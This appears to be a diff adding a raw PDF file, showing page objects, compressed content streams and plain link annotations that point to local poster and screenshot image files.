+/Type /Annot +/Subtype /Link +/Rect [ 297.637795 771.023622 297.637795 756.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV6.png) +>> +>> +endobj +1309 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 658.415622 39.386457 643.401222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV7.png) +>> +>> +endobj +1310 0 obj +<< +/Filter /FlateDecode +/Length 380 +>> +stream +xR1 +d؉iZ8,\8tΊÂKڲӅd{v8crެj=cd0fXV4;{ƞ) "Y|:O{$ESVt]͖ŇaASg)=EꞪ$l dVѣ+h}o|6sniƻ~ 9bK\Ϛ)A,B% >{}lIƈq2T;JBT +z|Zʎ&eqoa!zxB^`JM^`{&?VR1vor /#Z>ۘ\QoΝ!i +endstream +endobj +1311 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1310 0 R +/Resources 4 0 R +/Annots [ 1312 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1312 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 40.913981 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV7.png) +>> +>> +endobj +1313 0 obj +<< +/Filter /FlateDecode +/Length 1668 +>> +stream +xYY7~_φ*% vb`9&'*ufדz=}H:?}Iw@yLχ/)Ft7;rN`)a&^H~(*+=6q'=ds +4CdrB &W ٗ3ٛKAn?<Ʃ9X:V`&^x1_Û F*~=Ѕ>>=a"P +㔡h9neFS>IזXzk3恦AJ8ű+h)Z5ꚅDu\%_g: e)Sʟ@s@?Y,7K\7#{n~gNخjdU[]5|UTaAEE84#h}x:g]Yt}* +ӳө)$dNN6fu5(l< 1e8(.PR3-sRQ]9%kzq45Ejlь%ELVB?N͋z$l`LfJ@-ѫY7vg&gӓLi?(wg0|nVќN|C$uZv IH!4貈 +vbmiycs! 7'Z^K而Ij q h7Y\r[-y]2cI^)<mKM6 ߨ3z#ׅD|g$4M]/;R z0ɏ& }G61ܘ*vlKwS/Nv/j[ꠚw wQY,[Xu{uS[`Cb out.9ޏO譠ΘO*7Y{`d"x50rV^Ə9w(עfǹ2-d{4FxF6;\W\TM&;l}Cwoq/1̚}<#TiwFh<_=sEVBE`<%9xnoIGAօTsp3lYdz^O, +.~s^;;@ +?n1D()P f񋩨 a1NA_1[i{YP}lx/ +endstream +endobj +1314 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1313 0 R +/Resources 4 0 R +/Annots [ 1315 0 R 1316 0 R 1317 0 R 1318 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1315 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 771.023622 297.637795 756.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV7.png) +>> +>> +endobj +1316 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 649.031622 39.386457 634.017222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BordelFigma.png) +>> +>> +endobj +1317 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 649.031622 555.889134 352.308610 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BordelFigma.png) +>> +>> +endobj +1318 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 352.308610 297.637795 337.294210 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BordelFigma.png) +>> +>> +endobj +1319 0 obj +<< +/Filter /FlateDecode +/Length 2123 +>> +stream +xZY6~ׯ({H`ib{Elm@tHq$r@^͡U' +V"x{ )I;?~0 : !OPJjgpzusHC4'NE\ڡN⬄ |a{/[x:&Z׺s, %uHvo,LÃ-aq,znզu5ZNML/P$r>%E$ HG}0a<[' NdY9]8犮f#dZײuq֟ǐh@b}1)x-18$=C$E3j:hdJ*|xT^eą#9fk؍\9[zދ@ 2r;2a= /4FK)iU`3_(q 0mFhDlďRdH*dޤn{3kQs-]0g ?0O`X@ +`s oX87{x3 [e~Av yEU咳>I8ѫ3/c4hɫbвʼ{T2>캍֘G+ZQV)µ#f\4<.Yk([լ.6^90}L).N{,V#q^;4HO< th,óFUXi8f!*Vch}f]҇p!<`9s*{-ޛZgQJn +ՊM--قoJJlÌ *eQb~<橶AhY#0QoRuJPvj +eq`!g[srLr{YvScsoȰ;g#^Wو +iek`/k|A +ph0 Ǡ)V5ㄍAi2MkmsiegDcx;1\6X&J&;dMצ&0_T=P-t(VzGn,]$bdz?]~k?-hFH430;Lj*Z B=w 8,G D`t󕦆 L9VcB5r;'H +)=Hll8;d hDu@|P"Ed5ջ,1ŋl#g3FRAi=G%)aB'g;M92[3IKD09$kOYGTG}A'7Z&ssy1SzPǃt0 `6-n5kP9Tq_ ' J*,GF8<ׯf~T$ `E13Qiꢙ ,YecEfd:ҳ4K<(Or +ddt_쑰+r烸 +ܦNֶ3`Vגϲ!x>ZXiy:IKx;zo> H}*ҎZ$VL-Q&uR){}f؉[>1U.^ a.!w;L&]V^X ؎R%Cjhpخ"=.CTPF𗗙ٚ$(i +܀ֻ0yT!,@!#ѥ&}׶.!HR1ۻeQ6'?aG?\}=fA '^ bԆh)P*ڋ^/ɞ> +endobj +1321 0 obj +<< +/Filter /FlateDecode +/Length 1411 +>> +stream +xZn6 )%RE lC(zud dL:NҤ(vVo@Ec※s'?Kp"a`ӎ!7[}~?'oZpI[N7{0vN CncF^wP'A"J8s;N㭵ZB ek ~j#|:*W바yûf0Sqi 86Lx;T6mXaMخ/ROsUzM?>``ΓZ~(W?pKs`а*a(/}kz?2Lr4> b;jh([s@q~a!N(ktI08ǐ-LObL5\/B'G' +@|l/ɽMOӜ|MB$! 0tb2F&SFQ:5Rc̭'Ծ~>q"w!i8D TZa[+(xR\&aP_yk8FypEfj~m + ,Ï^>p T;#=ƅlFub=>0G*~Z5m5~ V5UܔEA/%C{vScD *W;VϝY % ȫWf7  ⭝^Cۗ +Z>^1&iYk_1d!±H64$`/$Ay@b8M}yH/}=> +endobj +1323 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 340.152570 39.386457 325.138170 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV8.png) +>> +>> +endobj +1324 0 obj +<< +/Filter /FlateDecode +/Length 372 +>> +stream +xRN1 y;- + !% >r)cR5ݗ@JZԄH +*\( DĜSAZZ&px [xBoEjQT(bNf19y +L!/ VT)䵃ɺ7t ?>l-VHeYb/np{]}PH>+0u#O6.p:Ui~E'4=%Du[?V+i p;9;`u1=;0ϩ]/e&~Q؃'z +endstream +endobj +1325 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1324 0 R +/Resources 4 0 R +/Annots [ 1326 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1326 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 40.569523 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV8.png) +>> +>> +endobj +1327 0 obj +<< +/Filter /FlateDecode +/Length 492 +>> +stream +xSn1 +eH( @{Hr A =NS +$ n^V3P"6m^JMd_XBD.c_oF(E' +,"[{}rW{OITu-A!4h +5$=f<ۻoO#8Ј{Kc3ᴘRWMas5.uszE4L $T_i/&k9CdHk +=8,HʊFhLyh,qyU\vUAE@Bw!7 L5AUAd2NAijNJ eWuwt9 7ܿ +endstream +endobj +1328 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1327 0 R +/Resources 4 0 R +/Annots [ 1329 0 R 1330 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1329 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 771.023622 297.637795 756.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV8.png) +>> +>> +endobj +1330 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 688.444422 39.386457 673.430022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV9.png) +>> +>> +endobj +1331 0 obj +<< +/Filter /FlateDecode +/Length 372 +>> +stream +xRN1 +v؎z@pA0]PK86- gfA&h"L~d"N~t)9 +BTQԀ11)%Y'j@TlVH  C3w_BjwKr l6(L6 f#k9Ͷv]n{wwEb.j4 uɁM`9G\rT^ +(۝=0m#Tg⾗21M bhZ)@l b +endstream +endobj +1332 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1331 0 R +/Resources 4 0 R +/Annots [ 1333 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1333 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 40.913981 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV9.png) +>> +>> +endobj +1334 0 obj +<< +/Filter /FlateDecode +/Length 2165 +>> +stream +xZ[o5~?bp=["H$!TH-(%^=^NZAlxߌׁI"蝙J3_k<>Z0!@ HZXoOoNzR'M3`J;8ӻNWh٪}{&!Iq'Xea}Gqa7lB^w/y5AH%ow^1N +Ao <}lQ?Sh98;+0RX=.L CX6t~7e, @By EX(B<ϗ -3 ^G?si?"Y&;}-~~~loյ9ٍWwlH{ۦUПաF"hv +W >)y:_sYy+[I^AqCW~80džQ3_◗Da,[DH+C`s&4Έ]cF$QF iJ΢]dm2]r?z?>eAG[REJj]ZTthK(tIQ䲦o<_8isC;(MKNdS凴xePuI8Qme励 +5iNJ !xFE6ƤY~󋱸û2hjBF[rdD]$ތ&n{}&HLsL36ϰj|,oZOgAlv2T6-dMl}s6T81Fyr3x?8E򪱝{ZO]dRan 0Lӥ8sHGpE[;MFTGt`Q3 glA&.5ZO? +j¶MQe^Ln#B$4aޑbCV^ߧKͅ@XD;wm%y55X'5a9Wo):[8n[A˳[QMgK;Z^^LsBm(ޖ0Î{+f@;У=/]K +Yٵr$P +%eI 91jh`p0jq@uRs9iL,CqYPjSʲg2d +<y7G󩠹f0Kc9P4J~}mҨ\׶VvOU@=vh y9.fK8)בˍ'u1@_:`~<5w߫o<TNeP oPk7ks=| <~vCs +[A8s$ fy;KB^ +-*=3'y!RnٱޖmU٣6*ln(i- Ќm拥#Un "_?G!StG|ƖgS13/P +wZo3r> + +y|KࣈA:їNՈ)lwSq d_R)Z/,:1T<[wtp׷č4b%|U&~hj1T#1rU!~c-B %Rm3L ɚ=?%&t'̎B=RLNKѽ(dA`̥h רsOG:ƞVZ^uǎZK7R3<+#R8|u4Cv)=8D3>h Ƞ5"Qy*? n 5&o@(|'yP5+t T_Th1"lwe=c׍BEfWN@c"kpLj)#ƇCw}Llk8ݏ闿jJ3:hƷROxc?]'jO)SLR̩NIW L +/UHt_L!aL H0w[;Sˆ\3e[{Z_^8]E_x +endstream +endobj +1335 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1334 0 R +/Resources 4 0 R +/Annots [ 1336 0 R 1337 0 R 1338 0 R 1339 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1336 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 771.023622 297.637795 756.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Figma/PosterV9.png) +>> +>> +endobj +1337 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 352.802922 39.386457 337.788522 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BadOcr.png) +>> +>> +endobj +1338 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 352.802922 555.889134 192.659764 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BadOcr.png) +>> +>> +endobj +1339 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 192.659764 297.637795 177.645364 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BadOcr.png) +>> +>> +endobj +1340 0 obj +<< +/Filter /FlateDecode +/Length 3965 +>> +stream +x]ێ#}WB~}X;։#Y Evf՚wMUź,6Q_1A$+w,(D/DHNLVULǠPJjC#ÿ=dD2pTJkT;1%>3#&AfhQDQe~:oԟ)׉t$5]qx/3g]91qZ_La?4;&ZoYqO󽅮M*oS7w=nk̬FG23fRw\e2d'3 w'3y%~Gt<,i.d5Yeamuũ3fu >8o~g=ڧޓPb"΀ +n(%t]GbtSN>캮mX#Es| +8fKjh×5L4Ƹ<ԑMӜ8PcP>1_}Mc;\3&zXf>[L{PsmZ4-Uf0HďSydB>)_r=I ݫ*& `MioC4 X { +0R^t11ۆlÇrsMh + TƉ0[VtdۼP2ƌbɭeuOn5_:R6W"0 Ϭ"zk,rr ߬nX^Өw75] +(-L83SUMW끟GX-UۑծL$Ky4U/ăg!~.gb.ty8jkGc 206Wb$' +V"h7߾XY-8Ӥ;g +@V4t$g\NHO.c Ш7"=i}E}ZO:EnF2gd\@P;Dِ .ޮLq[V 3md$ Q ̥s4 m.: !]ioA-0vAPT\C3 .϶9Mݞ!%M5(M)Y46<[O/X}:*H@>\p?iv-M/5x]pEzfm+y>B>>o? >1ڼpM Qy~[j,&xL]lP%eF%EoVШ2[׺U&{Bdž= +oTZmnsӁӔ׌--3oJrZ1-YmE樨QQ檨VQguUԡ.(+@uKuh$cE]GtTԡo/gHP*7۬;aLN:do&N/^TI7Vd֔D.|aLu{`)^Bg8خ*@6]q(mUȰ![x= 9`^*[KϺTm ǺTZk Rc2ԇz@ڬKeTKe /1~}p Ay`p2q*Т3QXU% +8(*Ue* UX+룢 񦎁`0=(w}m|hid]L7iQgyެsFi>Vn-F Ծ:gUc;:OBztMNO'zb܎-۹8q&Nji3A gySOHGWe!^OΚBWg*]PtPAi3胰JۯW#a!^W$(EgΒ5ضKҳ-d+YV*YVꘫd 56kyض6:ovX6vYzâ.u;,ʇ (b+=(b)^_QY>j'Jz^cx>h6:fu}6/9( e&Oy.بtP /1~}p AyzaMaТ3QXmKV{أ{(â v,h"@9æD-Ym̱nǖ6זn[^@l[^@~][^P[^@[^d[^:g H=3$L[^3B}'EV^OOCd՛@ډcy +{ȥL?~c< 4a!JF_ *~[} d J$ 1)sGpL^44cUX> +endobj +1342 0 obj +<< +/Filter /FlateDecode +/Length 3815 +>> +stream +x]KW|]9lMr3{)fQU9cc%z>MqOZ0x|3+A9悑f{ τRARh;x?{s;BHɌ֛x8ƿv$?HΠ /b S#q@?|>|ˏ?}d_\`FŹ/?Om'Ὑ^ tI~Ԟ7^iqܖtă%\r{J;gs]?\zR'\'$KM[ݿޯZׁuדu!sD<)PMfgCk`}jˊ,?#~ 4)bmvD?)Qd>C]kl\kLNt-__7*"[z{Si|=Te)+ѳ{Oq+-AX*TT4. `3LH8!# ZGAx&jLo<2 ִ{e&;͙2v*0E`*I?eR*5"gΫJm;ĸ{ $ؔKL{R.,Xh囵_I!7NC0\!XLpǼRr~xrR '})7Ғ,wDz\W̓ilKM*.J{`$?3+MbV,* Ȑ>)?g笌-r_pɾ7֬aZĘ^a63Z`lA'NoZFg/µP!YG+`$$͸V3̨7:x=w(oD=KǬZHRl+XbX k(*AWY'`}?h{g x]/z~ MyBzip"q~!{1-k: +ݖ%ÍY]҃eH&A`Q!E՟PdZZA*F+^X6z 6ȶ6D "`jQ`HUǣՇz`* ˳h@vz9| RI1TrcimCP@HX1 }.+2L!Hp)= Qm;~/!F%x{a ~ @ +~!4׺ԁi"]Y!H*!"Qpp_*{+^_z +}/ i4zc> +>}}u}Zc>QraOg6m3Vn Dr4f}>O{,'{>U]RSns\,h1Ag / +4oFĤFDz*@ (T0Rhw@8=itmyˌƽ䴻V}:MI @br*nr&r9i(6uƛ< EDfiDZDI 10ݱ5{WjeWI*AU^sV/S`f3,/HKy3Y,f$DDD.-"=uƵS^(8󼍇™ 7[ϵ~.ߗyYlItKcMiA;&-4SN2`L.}g܆XD{ע(@7v.щ͝4N:gDz]`X< TI(AATt͛@0Ǻ<*w| Ii2җНzl Pv|oft-nCZ4V3J)441a?bZ8 {,{ǘU KyϳpY׬׊S졫0瑅d^/ XJ?0"T+* {GP}0€< +6@[ +L5{ުS@%w0E + * =0*( ϰ:λ:Yz.Jg,NkǔtR7F.<Sm _H?8i}}DD}<=FMpH2>3pe>qpF l#3xn~S ijBT*QˆG!~(DuTy+ :`=U X=}@Di +8?t0yTGΎ6Px,2!1,e1ǹ{ZprAHEo"9I^"Eo BQ,zy%wTzv;t"MRkݸ 2yDTFvD& PR :CTx +I49FTm]?~P:uu++φg+| ׽#D72 +q(N'$o>Df`N +}Wr'ē :)dv~qIIJ,q9A!.\xd]@=>81䀎t{(cɬ|/8 pt7.ְKQZD@o-{b7QojC!N*uHf=OQLIEk!= +d «>ꤣL08*xHC4y^*gAjO }AC{oWzȮuF5$moS.HV{nW)]zH-a E*=h@_ih'|úAǐ +\\ڎO\6` e8grV~h@b<]CfԌmF4J7μs(YntHtUѪv7v'y_o.]` "27Y+ Z7 |M ߒ  :]`.5`@ 8mJU,Sɘx_L܏|(uQGhkn07esr1?DLom-6|41 \c-%Wzv歧iVո5ů7:;o۶` +Y6*3-S'py0t"0DTHCŴW4-u3ihWȯZ ^cA C$bQys]V(-ʺv;Q$>g*=2+'݄ ,hBedYí3Zp +endstream +endobj +1343 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1342 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1344 0 obj +<< +/Filter /FlateDecode +/Length 4214 +>> +stream +x][~_/@M'}H>k;/Iqhmb--E͹_!I!{~WoO~*ߏQ ^|9C??~}>3xh:,H=sUIɹw?}?~g]"ʻOOV)dMA>/^O1ǼO HN>pw#{̼GZn:VylNhq2y>/L-:*c誯Y'n3/z,yeywow-iȒ%f b 4g!Fb(ʊ@~bjR OFX6 iǪ<V +6?LFF#'^8 + ;'1CO1!gŅmb9ر\aسb>0EhgFsv4S,??2zgc-ΦΣu'Mo).7\(!p[/ 1* =WR r*; ŕ/Cc[Fax.y?%|N;3oTC9%Ýּ.{OEne@5ihNs5Yqh̕p<7$ʒxDe^Tt]鹉Ƭq^yfLKK +|Y0ࢀ=[/j~ q0vQfPY[j~6yjߞSxNR}ybɫ9DZqj#)f/Lv01?F.(/rWbLEz~;,j]u$V/:U!:oZ5 +nP0Bfq 8Itʡf`r{׿{b0/ϸOYo%@,hIRzIMo,}!M hcJZYN憤+2 :d ,apc"eC9K r:\u[lhH*i!(VVs=ce} r,ݥOh3e2+v7 NVkһԙYڠtVG%Äp[2Mav6sBt\I>GfX5>r0ch꣕[I]<{;|t.E}^Ol9Ƌ=lLbj}@A[&Si`>*!uJN1h3/:ҟe>֒$%9arl3ϊjRQŝQq2$ѳ:ꪍ c%wG9K4 +ͅ,%ˬ+m%FF* +w -1QK܍}`(fmP-9O5izŮC\]{gd0Bܐ?-dwgO!Z2xT#!yq"9pϧ Rk7aL)+ bfdɬ3:CKx^+lte*$5FFd:QIIʙҳnobwл{s6^ +yZKϚvC}@wW͕ R:2KlR0 _e3 dƺ;~vg7j_uleuUn= +2U/9c]%4ѷn+|ux̪\ *LL6wSYHP}?s4w9r4=%ը]ʃG`cK`HoS5X32xiɅ:LVkλ~][:"aә r @>bu- +i:ڑ.p$jF۠2dB %`u6[G>GuG'QeݑM~.d} -y֥HE6ȭ.t;jT2gbKJz8f˝T^si8O3R5u 'b怎W;b֯[PȢꂵрбPHZ!زukgD\B\漍Yю".PR1+NT.ѳa%V$/ mUt,KEr؝hkAw qL`ɻP.e)*Te5*ʪG\0ʪR -ʪv(B#vmBY"&)U{w?bEH4̡4M_bȢ@;`F&X !;p[vÎc܅`;>zn_P +2\zؑ%r;Z;0^" +:vla( ~oa۠L"nb(RF@z[Blwמ|Uh8o,욲+Pzr݅+5{\4b FSP^aD㵦,bzR@% D-h@zz Ds-V):Eη_GgSDBƛ<0E_Y#`@I HS]"ZFZ:lٚr؇X1+aбZ*hG, 2ImeCe&l>-:nme-[َصs+A[$7*S+Ǽ[H:2 Bkdht~Dj'BXA(6Z[ `n""e7B9f]^w/[ w:J%RJ^ځRVȢLR9ѻXR!FS{0.; +C5lBC*u] +װ(SRw@eA*MHG-nq0"+n,0kR CmS((_,´fhe@he*+V¸DgziZY@+6 +:ZB+!$[C+[+u]KYT!l ^g bK,z/ǂe PkԠcKYj5 Ǣ-$}AE5Y +E j쉂Pr1Pһ +jn\R955tl)P5LRIԈ5Mnj@z@n5G jr@=P;jVh>ԀJ +Wcz3+A ƲAj@ FOԬHcYPsM#>NA +d2s95@͊=YPI.j0zWAf7Zj5rP-j0z}I Ԁ2Iiࠦ-z@ F&M]{A1[el'=ԬYyP|A5Tȇy>|e`=$ձƢpX ѱ6nm _!1-{7WB9 kׇJ"RH?!&;] +J*v*H&LkGֶZkk(R` וYH@rz`[@k0:QHoS8`T[x6`KX%?@4Ur G5Hb4!W+ ֲrţPA>3E7feћ7$ s + eOYCh=@OY1ȝkX*ɨ{畉jRLQi?r)vɃC2iY?zJ~y\V˿,XJN٦V9[{.cYMww('se;?jٱC*6mz.'_\S7I`zfVI0Kmv<3(@͊7x3\fKa&vl|㷵$+ +endstream +endobj +1345 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1344 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1346 0 obj +<< +/Filter /FlateDecode +/Length 4106 +>> +stream +xɎ#A !81V|<⫭UҴOCZ޾,8s>_?8sÿttorR`砙^pv3!TpP)fRܝt?x 9Νwg!dFMBoϿtD3А @E~<ˆ5L  k}O?"ⓑӿ̹sn,T}-4r8VΧkE.;O\4jO8CۣsbGMBv\. _d |Ѯ2¿Ϳzm,NgO>I M&,+bWKJKF X\$ez{_mo4"l^Ϗ۪Фk~Y)7S䷐͆'%XҠ,dUze&DJ5lN֜c+̛9LYW^ sS49Z!E'x +˶,([=S^APijÄ/. \r3W>eʐ%MDqnj=Wb f^1IbnR21wIT¡%!^IJ&&AiE3KD\sf+ On3K!Vt  gM <%]6t&]v[Pi)rĘF uJ\x1ŮuSKpuPt_U\9 (LiHPR)40?̃S8&H(Hk +CL1µEd(8#ߐXˇ, +#.g!!Q ł|Fgyf&5/޵,z).UL{ -2C+! +uP x DR +)sCeA83'Qv% >wd!;Rk)؝EDd[zݓy=@fw%Bl>HdP: ~EV@@0Gx!W +s!r7ig4g^kQҠp<עb*Tms4|[l<0_!ƻhiԶO%ျO۫t}Z׈ŊVr,7>(KɶQB!۩a7/@Z##T-_=!F~"ݽrCuG~Z5OɥMh_Bc2q̒(Ƹ ]kl̜29"I˲Uϒ˞{ȲY6QnUW5ْal)lHt#_)UZhRWR5 +&vGhRuyՆsh;#_nͣuU;i,MSU;g+ӴvdKd[;T/XY&Txe kf٨z&b> cQn]^hhD-thW?eܭ~ Сo@l~s~s*?7@r$1RVh˜n @wjEŶIȴvaG^C ?]IP⚠SЁ,  +cBtГLT~躩vtU_rD=t :"!\y6 +ICkxBԭk|&h/xz5hAA7A{A[@8ֵ֠Am}FaoFB~ Q4 ):e+ ל>0N68$(4kN6-9#cYZQaZrF׺l3"]ڒ%ݗ䌈nK/ZrFwհ},yP.Rr3SmEG$^ 1phigۗ7Q'KpK38SI$6M6q*Y@9 ~h>qBDCg:RaY/GoX:\1>Ⱦbv^&(pSh80Aq̉S7]yu ǻ`Y3Rܛ@ `0Q7oҎaƍZ,t*t.^)G-;=F?*F|zj(*ebݏ3{EwffedfӢjU,ы_JF̷zʆӓhO r{fJeMFcnl έu^US\B9]e٭$n{syyNcY-ƚsgG׷/BcT-ܬ+6qC3"lͷzFm{xHSwfD T1쏈}*ZGI_XQa7h\H Ym;Y KA|T~ȉj:hCDuM.Zgnk赨&Hݽ.#DJ:tN& 5D/oC5^,IFt}MMʡ&(nM8YwMM8nM8_&^M8ݚp{5T:҄a҄"GtބO!w6D]p"M8o&HNݫ Z5T+ՄwwRԄnM8uPШ=Qmƒe;ߣѫ `Աwd.#]8^kv2f0Rk[u[=0J%fU8]aC WQilTKȚh{d."h}Y̍ O}"隋%>6{G;~x5ns2uLtkm,菇 os6"ogM7_gxw ZMSyF fgh~pCW5GWhd$p+q> +endobj +1348 0 obj +<< +/Filter /FlateDecode +/Length 3007 +>> +stream +x[[$~_k%]aHHlX'MЗiMXCTH%ը'KfiOJ:|G%#_ S9Q˧gVswTįXfb9 +DŽpi[gBHɴp8?txw -K,J*B 6?t* +C?a~&T?|bg,^qA_ّŖR+ws ̈́]e4R TQd'E]8aQ(ƛzzO/5 +P7t%מ8kIcq<7oM} r3i85fy"ɛuIv x>ly\%[uG#vN8~xBOkSŰ1hLEj딑Ij5X|NkDpYNc!˓D:*زD*!ӹ% 2cH8{qde0^". +nԇ)Pt,٩LJ)X1Є]jDB߮ƿe* ?E HŋEAo ]>"Ώ71'Ek;  )CͰVP 4u[*GJi"i3NSDR<T3FRvZ4hGBi?|ƍQqG*b(~S.g0Rp'32_yE4Ԡ$myBR7)lZ=&mGEJRZnMLɝYzj wP;INd%!2r2d_/,x s@ ?qY M k؜2.*GkUfS'KT!DpP7tvxZTD)])/1$oFe ++ X@4e %OQגJ=Bd j*斷w=zW:mo\JuigѤ3L)9hIR6wUn;HŤ.%eq>9eL"CX,F:FSXؖv3`nijg2:i";i@Yq$NRH.+8rm%i6Q3:8=EvK,%nFP6!_WerS;W9kU=ގ[TU$j:TUElcV;;Jb2[2&gbdb-[5i6*O[(3UnmRlGƩ&dXQ]MA4[mnIl{Ŵrh9Ui]`ΕDS)lD/t廦 *-#E9O")39 ۋ>^ +c}0#O/)Sp2ʾ~yr/p2x)s_gi^=x歰 Ϥrч[\ex7Zd=/HtF>Dϫ:9='‹& /}2 +xE`,5!0)^&"ۥkٱK +hhs)DWEk93)5#\ @urǙ E˫o6`5pƞN ֙!h馠B}Z &V]^ֹѢZ Jb.~% mܱ>X0wnZ5O8 g@cܡO&4Q`XsW 3="ӝUy_}L"p-_8 TR{u!jo:FDz) GGrx>:J8,<zZi#qQ4;mP!^wA#XR%CBW4@Cޅqi7}l6ЙaX!.+$ y?#(ճ`gps=ZEt^-SN3A*VK"eA#/Yϼ6{01MGB ZG#E 7bL[xc"86A!1 34mP]BffvCL (+"fuFXlqmZ/*lX=gk1 +Ko (SVc~ +jB/%GZ>: =ϿMc/ []xLK@c2r2Є-@a_Е???-o%2COyBo"( +endstream +endobj +1349 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1348 0 R +/Resources 4 0 R +/Annots [ 1350 0 R 1351 0 R 1352 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1350 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 157.357662 39.386457 142.343262 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BadDriverZone.png) +>> +>> +endobj +1351 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 157.357662 555.889134 147.666412 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BadDriverZone.png) +>> +>> +endobj +1352 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 147.666412 297.637795 132.652012 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BadDriverZone.png) +>> +>> +endobj +1353 0 obj +<< +/Filter /FlateDecode +/Length 2782 +>> +stream +x]n}Ex~$yH\ )JD۞#kfթ:U$Z@#:R1U`-_?ח *$6S.F(*"mlVV?y!>$!#1):_>|w"?(FQpV2M@<+;jD:hbtxHYPo5Ό5vqtɔcCٟF[9ƻdDd^˟'ۍ˯aTc~!?Pe٧Wa|S8վsNetg`^ GcMV{˱?Wl2PX.:WډQĸO5CҨDa"0sq}ܧp\ف\"0f5 {yxR6$8pQ0]ch]r,LX. ="p:2fҤ8S_&Od?Zĭ2DEyBݶh$)uJaدr)U1I?ϿM:¨!8,A*ED蓭Ii=R\Wwl|>_=[cW~Ym jP Y S}lȑYe;>}s o eOr:yT/ۏ 74Ӝ2Dp'GXIEѬH81qlY(n[W-Z',`s)eZZ"8Tr6,/8d!,*ʩ;,JjH$&tA]7v8/qo`G +jWK݅3&!QV$_\N'UcQXɘXyoY0;K xKFLF?2fm$#K*]Pm !)rtRoGHPLȲmٲ 